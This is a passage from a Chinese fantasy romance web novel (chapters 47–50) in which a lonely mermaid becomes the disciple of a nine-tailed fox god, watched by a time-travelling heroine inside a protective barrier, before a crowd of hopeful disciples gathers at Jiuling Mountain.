鬼使神差的,他把结界逐渐减弱。
美人鲛没有防备,纤长的手指又一次去戳结界的时候,‘砰’一声,结界炸开了。
一瞬间,鱼群四散,水花四溅。
浓雾瞬间消散,歌声也戛然而止,美人鲛用最快的速度逃开。可就算是这样,她还是被溅了一脸。
秾艳的面庞温和不在,流光婉转的眼眸悄然升起一抹愠怒。尾巴一甩,被结界炸出的数圈涟漪的海底重新归于平静。
她做出攻击姿态,朝着伏弢扑来。
衣袂翩翩,三千发丝被她的攻击力道震的翻飞,伏弢却屹然不动,没有后退一步。
美人鲛用尾巴绞起他的腰腹,手掌覆上了他的脖颈,冰凉的触感顺着皮肤直达肌理。伏弢丝毫不怀疑,如果他只是一个再寻常不过的凡人,她不费吹灰之力,就能将他绞杀至死。
此时的她,周身散发着狂戾之气,倒是有几分渔民口中弑杀的海妖模样了。
伏弢不禁莞尔。
这笑容落在美人鲛的眼中,却平白添了几分挑衅的意味。
他长得还不错,她本不想杀他的。可是他竟然敢挑衅她。
自她有意识以来,她就是这片海域的霸主。无论是陆地上的凡人,还是海里的一众精怪,都被她揍得服服帖帖。还从来没有人敢像他这样,公然闯入她的地盘,堂而皇之地挑衅于她。
美人鲛不着痕迹地一点点加重了绞杀他的力道。几乎是同一时间,伏弢将夜明珠送到了她眼前。
绞杀的动作一顿,她的注意力完全被漂浮在眼前的夜明珠吸引。
称王称霸只能勉强算是她的第二喜好,她平生最喜欢收藏各种好看的珠子。而眼前的这颗,是她平生见过光泽最好的一颗。
下意识的,她松开了钳着他脖颈的手,转而去触摸夜明珠。眼看就要将夜明珠握于掌中,她却又把手给收了回去。
尽管她再喜欢,这珠子眼下也不是她的。既不是她的,那她就不能占为己有。
“这珠子,是你的?”说话间,她已经把尾巴从伏弢的腰间撤下,重新打量起他来。
“是我的。”伏弢款款开口,嗓音温和。
“你擅自闯入我的地盘,又用水球攻击我,我本该杀了你。”美人鲛稍一停顿,忍不住看了一眼珠子,又说:“行吧,看在你有这么好看的珠子的份上,我可以饶你一命。不过——”
美人鲛的视线又重新落回到伏弢的脸上,眸底还闪过一抹雀跃和算计。
伏弢只当没看见,问她:“不过什么?”
美人鲛:“不过,我要你留下来,做我的夫君,永永远远地陪着我,像岸上的那些凡人一样。”
伏弢被她这番话给吓了一跳,平静的神情终于有了一丝裂痕。
自两人相遇后,她的一举一动都被他看在眼里。明明于她而言,结界和夜明珠的吸引力要远远高于她。怎么一眨眼,就把主意打到他身上来了。
伏弢诧异抬眸,恰好与她四目相对。
她脸上的忐忑神情一闪记过,瞬间转变为理所应当。仿佛她提的这个要求,于他而言,是天大的恩赐一般。
明明在他没有看向她的时候,她还一脸犹疑,生怕他会拒绝。
伏弢一眼看穿她的伪装,并且猜到了她的意图。
她很聪明,胃口很大,想要的并非只是眼前的夜明珠。她心里明白的很,夜明珠是他的,刚才那个忽然炸开的结界也是他的。如果他是她的,那他的一切,自然也是她的。
“为什么?”伏弢并没有揭穿她,反而顺着她的话问下去。
美人鲛睨他一眼,面颊上浮现出一抹不易察觉地绯色,说:“因为你长得还不错,而且这珠子是你的,我想要日日把玩,又不想夺人所好。所以,我要你做我的夫君。”
岂止是不错,他长得比她见过的所有人都要好看。所以,她愿意和他成为一家人。
平日无事的时候,她也喜欢扮成凡人的模样,去集市上转转。她眼泪化成的珍珠,在凡间很有用。小小一颗,就能换好多她从来没有见过的新鲜器物。可相比之下,她更想有人陪着。
就像这世间的万千凡人一样。
所以,当她遇到身怀夜明珠、又恰好长得很好看的男人时,一个不注意就把自己的心里话给说了出来。
伏弢刻意忽略她的后半段话,似笑非笑
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地望着她,问:“只是还不错?”
他的视线像一团火,盯得她口干舌燥。
她和伏弢对视片刻,又很快挪开眼,直勾勾地盯着那颗夜明珠看。怕他看出来,她真正的目的是他,而非眼前的珠子。
又像是担心伏弢直接拒绝她,高冷倨傲地补充了句:“我可以不杀你。但作为交换条件,你必须给我当夫君,永永远远地陪着我。”
她受够了独自在深海里蛰伏的日子。
“不然——”她忽然不想杀掉他了,就算是他不同意她的要求。
意识到这一点,美人鲛的语气莫名带了几分气急败坏,“不然,我就把你囚禁在海里,直到我厌烦。”
伏弢浅笑:“这么霸道?”
不止霸道,还很天真。
她甚至都不知道他的身份,也不知道他的手段,就这么轻易地把自己的打算说了出来。
也就两人刚开始见面的时候,以及结界炸开的时候,她对他还留有一丝戒备。
伏弢忍不住暗想:她对旁人,也这么信任吗?她就没有想过,万一他是个坏的,她又要怎么脱身?
一声轻叹后,伏弢缓缓开口:“你怎么能确定一定能杀死我呢?万一我比你厉害——”
不等他把话说完,美人鲛就打断了他。
“不可能。”她双臂抱于胸前,神情倨傲,话里话外满是显摆,又将她单纯的心性显露无遗。
“我还从未被打败过。”她说。
伏弢没说话,只是安静地看着她。但她还是从他的眼睛里读懂了他的态度,他不信她的话。
“你不信的话,可以和我打一架。”她的声音,莫名大了一些,颇有几分着急证明自己的意味。
天生神力、常年幽居于深海、又打遍社交圈无敌手的美人鲛,自然不懂得人外有人、天外有天这个道理。她无父无母,自有意识以来便是一个人,更别提受过什么传统的教育了。
目前的认知,都是她这些年的生活经验。
她活得肆意,且心思浅显,便以为旁人也都是像她这样。她看出他对她那些话的质疑,迫切想要让他相信自己的话。
“如果我打赢了,你就给我做夫君。”她说。
伏弢一直在等她的后半句话。
可她非但没有继续开口的意思,反而一脸期待地等着他的回应。
“倘若你输了呢?”伏弢强行压下她这些话带来的悸动,声线平和。
“我不会输。”美人鲛咕哝道。
伏弢只觉得,这一瞬间,他的脑海被陌生的情绪侵占,混沌无比。
他不喜欢这种隐隐不受掌控的情绪,或者说是不习惯。所以,他拒绝的很干脆,连声音都清冷了几分,犹如雪山上的烈风拂过。
“很抱歉,我修的是无情道,不能做你夫君。”
当即,她的脸垮了下来,也完全忘记了刚才说的要将他囚禁起来的豪言壮语,只是失落垂眸,半晌没有言语。
看着她失落的模样,伏弢又有些于心不忍。他忽然就有点后悔随口骗她了。
九尾狐一族,又痴情又浪荡,媚术更是闻名四海九州。哪里像是会修无情道的种族啊。
他也就只是骗骗无知的她罢了。
47. 收徒
-
一时间,伏弢手足无措。
他忽然感到局促和不安。
美人鲛因为他刚才的那番话,委屈的都要哭出来了。
不对,是已经哭出来了。
他眼睁睁的看着她眼睛里蓄满了水汽,坠落后,变成两颗莹白圆润的珍珠。
下意识的,他伸手接住,紧紧攥在手心。
美人鲛并没有注意到他的动作,她已经擦掉了多余的眼泪,但看向他的眼神依旧复杂和倨傲。
她好像很不习惯在外人面前展露自己的软弱,尤其是哭泣。连神情都带了几分自责和懊悔,她不该在他面前掉眼泪的。
伏弢看着她变幻莫测的神色,更加愧疚了。
他已经不是青丘的王储,那和龙族公主的婚约自然也就做不得数了。
早知道她如此受不得拒绝,他干脆同意就好了。反正他如今是孤身一人,也没有婚约在身。
他平日里最受不得女孩子哭,更不知道如何安慰。
美人鲛的故作坚强,以及她眼眸里的悲伤,都让他感到心酸和局促。
面对这样的她,他不知道下一步要怎么做,才能让她的心情能好一些。
“我可以和你打一架。”于是,他抿了抿唇,忐忑开口。
“啊?”她脸上重新浮现出一抹名为雀跃的情绪,但更多的,仍是不解。
她不明白,他明明才拒绝过她,为什么还要主动提出要和她打一架。
“我也可以一直陪着你,像你所期望的那样。”说这话时,伏弢有点别扭。
“你又同意给我当夫君了?”美人鲛上前一步,尾巴亲昵地蹭了下他的小腿,“这样的话,我就不用囚禁你了。”
她又恢复成了灵动狡黠的模样。
小腿传来的陌生触感,她大胆的发言,让伏弢面颊绯红。甚至有那么一瞬间,他脑补出她将他囚禁在深海的画面。
他是神,说出口的话,带有一定的念力,不容违逆。否则,会应劫难。
伏弢忽略自己口干舌燥的异样,担心这劫难会落到未来的她身上,匆忙补充了句:“当然,不是以夫君的身份。”
她擅长把所有的情绪都写在脸上,此时此刻,她疑惑又愠怒地看着他,就像是在说:你说的什么?我听不懂。
“你是在耍我玩吗?”
她的尾巴又一次紧紧缠住了他,力气很大,却没有半点杀意。
她没想杀他,也没想真的一直囚禁他。之所以这样做,是担心他会忽然逃离。
而且,不知道为什么,她的心里隐隐生出一种直觉:两个人一旦真的打起来,她未必会赢。
她从眼前这个男人身上,感受到了一种前所未有的危险气息。同时,还有连她自己都不愿意承认的吸引力。
他身上好像有一种魔力,潜意识让她自动忽略了他有可能会带来的危险,并且毫无防备地去亲近他。
她说不清是为什么。
“不是在耍你玩。”伏弢将眸中的歉意掩去,瞥了一眼缠着他双腿的尾巴,无奈开口,道:“我知道你很急,但你先别急,听我把话说完,好吗?”
美人鲛思索了一瞬,点头,“好吧,那你说。”
他那些话,的确安抚到了她。她又因为心情愉悦,下意识地晃起尾巴尖儿。冰凉的鳞片隔着单薄的衣物,触碰到他的肌肤。
短暂的冰凉过后,是极度的燥热,连清心咒都不能纾解。
有那么一瞬间,他脑海中一片空白,小腹处的肌肉也变得异常紧绷,好一会儿才缓过神来。
“你要不要先放开我?”伏弢半垂下眼,看出她的担忧。不等她回应,又说道:“我绝不会丢下你跑掉,我发誓。”
“可以。”话落,缠着他双腿的尾巴缓缓撤走,鳞片和衣服接触,发出簌簌的摩擦声。
伏弢听着,只觉耳热,却也没忘记回归正题。
“我已决定,不日,将修习无情道。此生,不娶妻,不生子。”
他一边说,一边打量美人鲛。听了他的话,她果然又蹙起眉。好在,她的耐心没有被完全耗尽,这一次她没有打断他。
伏弢又说:“虽然我不能做你的夫君,但我可以做你的师父,教你知识,授你法术,如何?”
“当然不行,你想得倒美。”美人鲛自然是不愿意。
尽管她从他的身上感受到危险的气息,可毕竟她也当了八百年的海洋霸主,怎么会轻易屈居人下。
“就你?除了长得好看,还有什么通天的本事不成?真是大言不惭。”美人鲛被他的话气得咬牙切齿,余光瞥到夜明珠,视线一顿。
除了长相,他其实还是有一些可取之处的。
譬如,浮在眼前的这颗珠子,就是他的。先前那颗触感不错的大水球,也是他弄出来的。
伏弢勾唇,“所以我们打一架。”
美人鲛惊讶看了他一眼。
伏弢:“如果我赢了,你就拜我为师,如何?”
“那你输了呢?”她问。
“任你处置。”伏弢应得爽快,“除了不能给你当夫君。”
美人鲛的脸上浮现出一抹犹疑,好似在思索这件事情的可行性。
“还是说,你害怕输了,不敢同我打?”伏弢担心她不答应,干脆用上了激将法,“没关系,我能理解。”
“谁害怕了?打就打!”她的气焰更加嚣张,“你就等着被我囚禁在海底吧。”
果然,小孩子心性,受不得激。伏弢眸底的笑意更胜。
不等他把笑意敛起,她就朝他发起了攻击。猝不及防,伏弢躲闪晚了一些,被她碰到了衣角。
她的确是有点本事,难怪这么嚣张。
她一心想赢,又见他如此轻易就躲过了攻击,不服输的劲头上来,后面的攻击更是用尽了全力。
伏弢暂时没有对他出手,只是一味躲闪。
水下是她的主场,不是他的。伏弢又担心自己出手没个轻重,万一不小心将她打伤,那可就麻烦了。
可她实在是缠人,攻击他的招式更是一招比一招凌厉,却再也没有碰到过他的衣角。
数不清的漩涡弥漫在两人周围,美人鲛气愤冲他喊道:“你一直躲什么?出招啊。”
其实,她已经预料到自己会输了。
她几乎拼尽了全力,却一次也没有打到他。可就算是这样,她也不想他只是躲避。在她看来,他这样的举动,是轻视她。
她宁愿他一招把她打趴下,也不愿他如此轻视于她。
伏弢从她的话语和攻击招式上感受到她逐
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渐暴躁的情绪,不再一味闪躲。他抬起手,冲着正准备攻击他的美人鲛虚点了一下。
霎时,以她为中心的深海,一瞬间平静下来。不止她动不了,就连被她卷起的无数漩涡也像被冻住一样,静止不动。
美人鲛感受到了前所未有的压迫,是那种下一秒就不能呼吸的感觉。她身上的鳞片都要立起来了。
“你是要杀了我吗?”她吞了吞口水,嗓音微颤。
她总算是知道害怕了。
伏弢没说话,只是冲她勾了勾唇。
她刚想问他笑什么,他一个飞身,往海面上飞去,连带着她一起。速度很快,她被海水的冲击力弄得连眼睛都要睁不开了。
“啊——”她只来得及发出一声尖叫。
再睁开眼睛时,她已经被他带离了深海,停在半空。但那道压迫感还在,让她下意识想要逃离。
此时此刻,她自己都没有意识到,她已经放弃攻击他了,只想着逃离。
他还没有回答她是不是想杀了她,还是离他远一些比较好,保命最重要。
可站在她对面的人就像是有读心术一样,她刚准备溜走,他又一次抬起了手,朝着她站立的方向。
她心里咯噔一下,眼睫止不住颤抖,下意识开口:“不要杀我,我认输了。”
几乎是同一时间,她身上多了一道半透明的结界。
尽管现在,她并不知道这个东西是结界。
在他看不见的位置,她悄悄用尾巴触了下,触感和刚才炸开的那个一样。
伏弢也被她的话给惊到,他不明白,她为什么会以为自己会杀她。
他并不知道,他随手散发出来的神力,对于一个没有正经修行过的精怪来说,有多么大的压迫感。
他虽然说了要和她打一架,却也担心出手会不小心伤到她。所以,他并不准备真的和她动手,而是打算投其所好。
他猜到她对结界感兴趣,正准备好好给她展示一番的,却没想到她一开口,就要认输。
“这就认输了?”
与其说问她,倒不如说是问自己。宽袖之下,握着夜明珠的手晃了下,他甚至没来得及把夜明珠拿出来。
美人鲛下意识点点头,又忽然想起什么,点头的动作一顿。见他神色平和,她试探性开口,“想让我拜你为师也可以,但我有一个条件。”
伏弢:“好。”
美人鲛晃了晃尾巴,嗓音愉悦:“我还没说条件是什么呢?”
伏弢把视线从她的尾巴上挪开,“无论什么,尽我所能,但不能干坏事。”
他其实已经猜到了。她的条件,无非是和自己讨夜明珠和结界的用法。
她用手戳了下结界,说:“我要你教我这个——”
伏弢:“好。”
她眼珠一转,又说:“我还要那个会发光的珠子。”
“得寸进尺。”伏弢浅笑着低喃了句,“可以,但我也有条件。”
“什么条件?”她问。
只要不是要她的命,她也可以都答应。
“我不习惯待在海里,你要跟我到九岭山去。”
伏弢担心她会拒绝,把掌中的夜明珠往她面前送了送,又说:“山上还有很多这样的珠子,你可以用它们装扮你的房间。”
48. 媚术
-
美人鲛的注意力果然被吸引了去。她看着伏弢手上的夜明珠,神情雀跃。她甚至在脑海中幻想了下伏弢口中的画面,脸上的笑意更浓。
伏弢看着,忽然觉得很愧疚。
大海是她的家,她还小,又很单纯。无论如何,他不该用她的喜好来勾着她离开海洋的。
可愧疚是一回事,他的嘴巴就像是不受控制一样,说出的话一句比一句过分。
“到了晚上,这些珠子就像九重天上的星星一样,特别漂亮。”
“而且,九岭山中,有一池天然的温泉,泡起来特别舒服。”
......
此时的伏弢,就像是一个只会花言巧语哄骗无知少女的臭男人。良知、愧疚什么的,早被他抛到了九霄云外。
美人鲛朝着夜明珠伸手的瞬间,伏弢把她身上的结界去除。
她拿到夜明珠后,心情明显愉悦很多。
尽管她还没有开口,但看着她对夜明珠爱不释手的模样,伏弢明显安了心。不出意外的话,她就会跟他一起回九岭山了。
美人鲛问他:“我跟你回九岭山的话,你是不是就能永永远远地陪着我了?”
“就像凡间那些寻常百姓一样,一日三餐,我们都可以在一起吃。”
伏弢心头一涩,随即点头,说:“自然。你若决定拜我为师,那我们就是师徒,是家人。”
他忽然意识到,美人鲛之所以一而再、再而三地提到永远、提起陪伴,大约是因为她孤独了太久。
美人鲛兴奋极了,她往伏弢身前凑了凑,说:“太好了,那拜你为师,跟你一起走。这样,我就不是一个人了。”
她的尾巴,摇晃地频率好像更快了。
伏弢眼中也盛着笑,心里的那点愧疚,消散个干净。
她一个人在深海里生活,不见得有多开心。左右她需要人陪,他以后多花点时间陪她就是了。
“师父,我们现在就走吗?”
“师父,九岭山在哪啊?”
...
“师父,我还不知道你叫什么呢?你叫什么名字啊。”
美人鲛忽然变得很聒噪,却很兴奋,半点没有对大海的不舍。不等伏弢回答,她就一股脑问出了好多个问题。
或许,她也没打算让他回答。
后来,伏弢才知道,她每次开心到极致,都会说好多好多的话。
按理说,她尚未行拜师礼,他就还算不得她的师父。可见她喊师父喊得如此顺口,他无奈笑了笑,也就由着她去了。
而且,还把她问过的问题,一件一件回答了她,没有丝毫地不耐。
“我叫伏弢,你呢,你叫什么?”伏弢最先回答这个问题,因为他同样也想知道她的名字。
“我没有名字。”
美人鲛瞬间变得失落,伏弢斟酌一番,把声音放轻了几度,说:“师父给你取一个,可好?”
“好呀,那我也要姓伏,和你一样。”美人鲛一顿,又补充了句:“我们是一家人嘛。”
“好。”
伏弢的视线又一次落到她那条不安分的尾巴上。日光的照耀下,尾巴上的鳞片闪耀着七彩的光芒,像天边的烟霞,晃得他心神荡漾,近乎挪不开眼睛。
片刻,他回神,说:“叫伏烟,好不好?”
“好。”她点点头,水汽又一次充盈眼眶,“伏弢和伏烟,一听就是一家人。”
“对,一家人。”伏弢失笑,“你永远是我九岭山的大师姐。”
“永远。”
这两个字一出口,就像是他给她的承诺。
只要九岭山还在,就永远有她的位置。
...
好半晌,伏弢才带着伏烟从半空下来。
甫一上岸,她隐去鱼尾,幻化成双腿,身上多了件红色的衣裙——是她之前在人类的集市上用一把眼泪幻化而成的珍珠换来的。
-
好巧不巧,两人落地后的位置,距离温辞不过一米的距离。
结界之内的温辞和那团魔气凝结而成的伏烟,都直勾勾地盯着不远处的两人。
刚才两人在半空的对话,一字不落地被温辞听了进去。
此时此刻,她知道,眼前这个英俊的男人,就是她要寻的伏弢。而站在他面前的,则是还没有入魔的美人鲛——伏烟。
也是这时,温辞才恍然明白过来,司渊当时在海底说的那句话到底是什么意思。他说:“九岭山上还没有温辞,却已经有了一个伏烟。你去了,她怎么办?”
温辞还在愣神,伏烟已经扯着伏弢的衣袖兴奋地跑到了结界面前。
在温辞的诧异目光中,伏烟伸出手指,兴奋戳了下。
结界的手感一如既往地好,她转头看了伏弢一眼,天真问道:“师父,这个也是你给我准备的惊喜吗?刚好,我已经许久都没有进食了,她闻起来好香。”
她一边说,一边吞咽着口水。其中一只手,摸了摸扁平的小腹。
伏弢蹙起了眉,视线也从温辞身上重新转移到伏烟身上。
一开始,温辞还没有反应过来她说这句话的意思,直到她听到伏烟腹腔内因饥肠辘辘传出的微弱肠鸣,脸色陡然一白。
她是把她当成食物了。
伏烟看她,就像是她看糖醋排骨,垂涎欲滴。
也是这时,温辞感到无比庆幸。还好司渊思虑周全,赠她结界护身。不然,她现在可能已经被伏烟吞入腹中了。
温辞刻意忽略伏烟投过来的视线,余光落在安静盯着伏弢看的那团黑雾上,心想:难怪她会入魔。原来这个时候,就想着要吃人了。
她自幼散漫,活得肆意,无拘无束,从来没有人教她辨别善恶,一直以来秉行的也是这片海域的生存规则。
受欺负了,就打回来。饿了,就去捕猎。
人类于她而言,不过是比小鱼小虾更可口一些的食物而已。
而眼前这个被罩在光球里的人类,不仅生得细皮嫩肉,而且身上还沾染了神明的香甜气息,最是滋补。
“伏烟,不许无礼,更不能食人。”伏弢始终蹙着眉,他终于意识到,对伏烟的教育任重而道远。
伏烟仰头看他,带着几分失落和不解。
“以后不许再食人。”伏弢又着重强调了一遍,意识到自己的语气过于蛮横,他又补充了句:“等回到九岭山,师父给你另外准备吃的。”
这还是第一次有人给她下达禁令,而且是用不容置喙地语气。
“那好吧。”伏烟虽然有点饿,但她更不想失去刚刚得来的
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家人,委屈巴巴应了声:“我还不是太饿,能忍住的。”
说完,她又冲着温辞吞了吞口水,看她的眼神也满含可惜。
伏弢无奈叹了口气,手掌落到伏烟的脑袋上,半强制地将她往后拖拽,打断了她看待食物时虔诚的目光。
“抱歉,吓到你了。”他款款开口,清浅的音色传入温辞耳中。
对上他的眼睛,温辞后知后觉意识到,他是在跟她说话。这个结界并非是隐形的,外人也可以看到。他之前伪装成渔夫、假装看不到她、听不到她的模样,全是在假装。
温辞还在发愣,伏弢又说:“别担心,她不会伤害你。”
温辞清了清嗓,问:“你就是伏弢?九岭山的伏弢?”
“是我。”伏弢点头,重新打量了一下她,团在她身侧的雾气小人,以及将她完好无损地保护起来的结界。
不知道为什么,伏弢总觉得,眼前这道结界的织法有点熟悉。
这种感觉极其强烈。
而他是神,神的感觉轻易不会出错。
四海之内,普天之下,神明很多,仙门更多,妄图通过修仙这个渠道成神的凡人、妖魔、精怪更是数不胜数。
结界这个东西,并不稀奇。也就只有单纯无知至伏烟这样的,才会把它称之为‘光球’‘水球’这样的名称。
会结这道结界的,更是不胜枚举。
但手法总会不同。
而眼前的这道,他总觉得有点熟悉。在他扮作渔夫,独自走来时,就隐隐发觉了。
但那时,他以为这道结界以及结界里的人,是渔民口中的‘海妖’察觉到他的到来,用来对付他的手段。
所以,他假装没有看到和听到,目不斜视地从结界里穿行而过。
可听刚才伏烟的话,他知道事实并非是他所猜想的那样。尽管结界里面的那团不足为惧的魔气中,隐约带有伏烟的气息。
但他还是选择相信伏烟的话。更何况,结界里那个他不认识的女人,好像知道他的名字。
于是,他伸出手,掌心覆在结界上,仔细感受——不对,不是有点熟悉,是极其熟悉。
就像是在他织就而成的结界基础上,新增了一点别的东西。
可是,他统共也才收了伏烟这么一个尚未行拜师礼的挂名弟子,任何术法都还来不及传授给她,更别提在他的术法进行创新了。
伏弢收回手,重新审视起温辞来。
虽然他喜欢四处游历,但他的记忆还算可以,不像九岭山中深渊里的那只老乌龟,一觉醒来就把所有的事情忘了大半。
他笃定,这是他第一次见她。
“你是谁?”
“我们好像并没有见过,你怎么知道我的名字?”
“你认识我?”
一连串,他问了好几个问题。同时,极具压迫感的审视和打量落在温辞身上,让她下意识开口回答他的问题。
这个时候,温辞并不知道,她之所以感受到紧张,是因为伏弢正在对她使用只有九尾狐一族才会的媚术。在这种术法的加持下,任何人都不会说谎,只会对他说真话。
之所以她还有意识,是因为眼前的这道结界,为她挡了大半。
所以,她还有自我意识,只是感觉到紧张和压迫。
49. 少主
-
伏弢看到温辞神色如常,并没有中招后,心里也暗暗惊诧了一番,却没有表现出来。
只是观察地更细致了些。
刚才他借着检查结界,顺便探了下结界里面的人的虚实——那个知道他名字的陌生女人,的确是个凡人无疑。
没有任何威胁性,因为他能够感受到她身上的死气和一丝至纯的神明气息。
按照常理,她不应该还活在这世上的。
之所以能活蹦乱跳的出现在他面前,是因为蕴藏在她周身血脉之中的一缕至纯的神明之气在吊着她。
转眸,伏弢的视线落在那团看似平静,内里却暗流涌动的人形魔气上。和这个被死气环绕的不知名的、看起来很良善的女人相比,还是这团诡异的魔气更危险一些。
但让伏弢想不通的一点是——这么一个灵台清明的小姑娘,怎么就和魔族扯上关系了?还是说,她是受了魔族的蛊惑?魔族想要通过她,来找他寻仇?
之所以这样想,是因为他前段时间的确收了一个肆意屠戮人间村镇的魔修。他偶然游历到那儿,原本山清水秀的小村子被魔气浸染,空无一人。村子中央,为了丰收季晾晒稻谷收拾出来的广场上,人骨堆积成山。
一怒之下,他将寄居在村子里的魔修打得灰飞烟灭了。他犹记得,那个魔修在灰飞烟灭之前叫嚷了一句他是魔族的四大护法之一——燕归。
莫非是因为这件事情,魔族的人来找他寻仇来了?
不应该啊,当时那个场景,除了满地的白骨,就只剩下他和那个燕归。魔族的人不可能会知道那件事情的。
伏弢逐渐蹙起了眉。
同时,默默给躲在他身后的伏烟加了一道无形的防御结界。万一真的是魔族,伏烟这丫头,定然不是对手。
须臾之间,伏弢已经做好了最坏的打算。
宽袖之下的手也没有停着,暗暗捏了一道诀,蕴了十足的力气,正准备探一探结界中人的灵台的时候,却又被她的声音给打断。
她在回答他刚刚问出的问题。
“我是温辞。”
“我们的确没有见过,但我听人说起过你的名字。这次来,我是受人之托,给你送东西的。”
伏弢愣了下,他没有想到是这个答案。
温辞已经把两颗留影珠重新攥到了掌中,隔着结界,递到了伏弢面前。
尽管其中一颗珠子上,缠绕着丝丝缕缕的魔气,但伏弢也只是垂眸看了一眼,就把视线挪开了。
无他,在他的记忆里,他和这两颗珠子从未有过渊源。
包括呈上珠子的这个人。
而且,他更担心,那颗被魔气浸染的珠子有什么古怪。所以,尽管他万分好奇,也不曾显露出半点。
“这是什么?”他问。
不等温辞回答,他身后的伏烟却激动得冲到了最前面。
她贴着结界,指着温辞手中颜色各异的两只珠子,兴奋喊道:“是留影珠。”
“留影珠?”伏弢困惑不已,垂眸看了伏烟一眼。别说是第一次见了,连听说都是头一次。但从名字上,他大约能猜到这珠子的功能。
“你怎么知道这是留影珠?”
“你又是受谁人之托?”
前一句话,是对着伏烟,语气说不出的温和。后一句话,是对着温辞,语气平淡,眼神犀利。
伏烟的视线终于从温辞的手上离开,仰头看着伏弢,说:“留影珠本来就是我们鲛族的东西啊。”
说话间,一滴血泪从伏烟的眼睛里流出来,落到她掌中,变成了一颗和温辞手中一样的珠子。伏烟笑意盈盈,把手掌往伏弢面前递了递,说:“师父,你看。”
“一个叫伏烟的,说是你的徒弟。”温辞也如实相告。
两人几乎是同时开口回答他的问题,再加上隔着结界,以至于除了伏弢之外,两人谁也没有听清对方的话。
但温辞知道,尽管她说话的时候,伏弢正垂眸看着伏烟,但他听到了自己的话。因为她说完的瞬间,伏弢抬眸看向她的同时,眉心跳了一下。
伏烟对自己的名字还有点陌生,恍惚觉得刚才有人喊了她一声。于是,她转头看了温辞一眼,问:“刚才是你在喊我吗?”
不等温辞回答,伏弢重新将她扯到自己身后。同时,他用余光扫了温辞一眼,不着痕迹地给她下了禁言咒。
“许是你听错了。时间不早了,我们还是尽快赶往九岭山吧。”伏弢生硬转移了话题,偏偏伏烟半点没察觉,还欢快应了他声‘好’。
伏弢和伏烟转身就要离开,谁也没有回头看温辞一眼。
准确来说,伏烟是兴奋得顾不得看。她的注意力都被‘九岭山’三个字给吸引走。伏弢和她提了好多次九岭山,她一直很好奇,以至于脑补和伏弢在九岭山未来生活的时候完全忽视了温辞。
伏弢则是刻意忽略了她。不知道为什么,他心里隐隐感到不安,更加不想让伏烟听到那些话。
温辞看着那师徒二人沿着海滩并肩往渔村方向走时,焦急的不得了。偏偏她中了禁言咒,发不出任何声音,只能收起留影珠,用力拍打着结界。
她身边的那团魔气,看着伏弢和伏烟相携离开的背影,团成一个球,疯了似的,猛烈撞击着结界。
一声声闷响,传入温辞耳中。每响一声,她的心跳就剧烈一分。
那一瞬,她好像明白了很多事情。伏烟对伏弢的这种感情,让她感到震惊,连眼眶都在隐隐发酸。
伏弢没有回头,但恍惚中,温辞好像听到一声很轻的叹息。
下一秒,伏弢抬了抬手,她所在的这个结界,就像是一只气球一样,飘浮在二人身后。当然,那根无形的绳子,握在伏弢手中。
温辞和那团‘伏烟’不约而同停止了拍打、撞击结界,不约而同地把视线落在前面那两人的背影上。
许是察觉到异样,又许是终于想起来海滩上有别人的存在,伏烟转头看向身后。
几乎是同一时间,伏弢将结界收到了衣袖中。伏烟什么也没看到,疑惑咕哝了句:“奇怪,刚刚还在那儿的,怎么不见了?”
伏弢假装没有听见她的话,就地结了一个传送印。温辞只觉得脚下一晃,再次站稳时,她已经从海边来到一处山脚。
伏弢和伏烟已经不见了踪迹,总绕着她飞来飞去
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的‘伏烟’也不知为何龟缩进了那颗留影珠内,珠子又开始发热。
最重要的一点,套在她身上的那道结界也跟着消失不见了。
她清晰感受到周围传来簌簌的风声,以及脚下坚实的触感。
好一会儿,温辞终于反应过来,此时此刻,她终于反应过来,她如今脚踩着的,不是深海里的蚌壳,也不是隔着结界踩在沙滩上,而是实打实的地面。
温辞扫了一圈周围,除了她自己,再没有别人。
一时间,她也说不上是心慌,还是畅快。或者说,两者都有一点。
她大口呼吸着新鲜的空气,手掌隔着衣物,覆上那两颗留影珠。
“还好,没丢。”
灼热的触感隐隐传入掌心,温辞逐渐冷静下来。一直悬着的心,也逐渐变得安定。
伏弢既然没有把她丢在海边,那也应该不会随意将她随意丢弃在这个陌生世界的某座山下。
如果她预料的没有错,她此时所在的位置,应该就是九岭山。
看着眼前高耸入云的山峰,温辞忍不住叹了口气,抬腿往上爬去。
没一会儿,四肢无力,大汗淋漓。
可每次坚持不住的时候,她的脑海中总会浮现出司渊那张脸。他凑在她耳边说的那些话,也在耳畔循环播放。
就这样,蹒跚着,她竟也攀爬到了山顶。
奇怪的是,山脚下明明空无一人,她爬山的这段时间,也没有碰上任何一个人,山顶上却围了很多人。
人潮如织,人声鼎沸,大老远她就听见了声音。
温辞站在远处,调整了一下呼吸和仪容后,朝着喧嚷的人群走去。一边走,温辞一边打量他们。
人群很分散,三三两两站在一起,并不是完全相熟。男女都有,相比之下,男性更多一些。
他们的穿着也都花里胡哨的,但全是长袍,头发半束或全束在头顶。女生则梳着各式的发型,妆容明艳。远远看过去,就像是来到了古装剧拍摄现场。
而温辞,误入拍摄现场的游客。她身上穿着的现代装,反倒有点显得不伦不类。
一走近人群,她就收到了很多打量的目光。同时,温辞也把他们的议论声听得更加清楚。
“也不知道,此次伏弢神君会收几个徒弟?”
“听说,神君此前还是青丘九尾狐一族的少主呢。”
“狐族少主?青丘一族不是不能随便入世的吗?而且我听说,狐族少主和龙族的九公主自幼有婚约在身啊。算算日子,也差不多到了该成婚的年纪了。神君又怎么会在九岭山安家?”
“不对啊,青丘狐王不是刚登基嘛。我叔父还亲去青丘参加了宴会呢。莫非,伏弢神君犯了什么错误,被青丘王给罢黜了王储身份?”说话的这位,原身是一只鹰。他的叔父,是现任的鹰王,和青丘有点交情,但不多。这次他之所以来九岭山,就是奉了他那位叔父的密令,要他来做卧底,打探伏弢的日常行踪。
人群中,果然又一次变得喧闹。如果真的如刚才那个人所说,是否要拜入九岭山这件事情,的确需要好好考虑一番了。
“你这秃鹰,话可不要乱说。”
50. 蔺容
“就是,神君他老人家不是这样的人。前段时间,青丘内部动乱,王储之间、及其所属势力争相打斗,混乱不堪。神君不愿看到族人自相残杀,自愿舍了王储之位,并且当众立下了永不再回青丘的誓言。”
说这话的,是一只山猫,名为蔺容。
他的族系,恰好生活在青丘附近,所以对青丘的事情格外了解一些。自幼他就知道,青丘有一位天生神脉的九尾狐,名为伏弢。一出生,就被定为王储。
蔺容说完这些话,人群中先是安静了一瞬,片刻后又是一片哗然,纷纷赞扬伏弢神君的高洁,以及祈祷自己有好运气,能够拜入他的门下。
温辞也终于来到了人群中央,试图听到更多有用的信息。
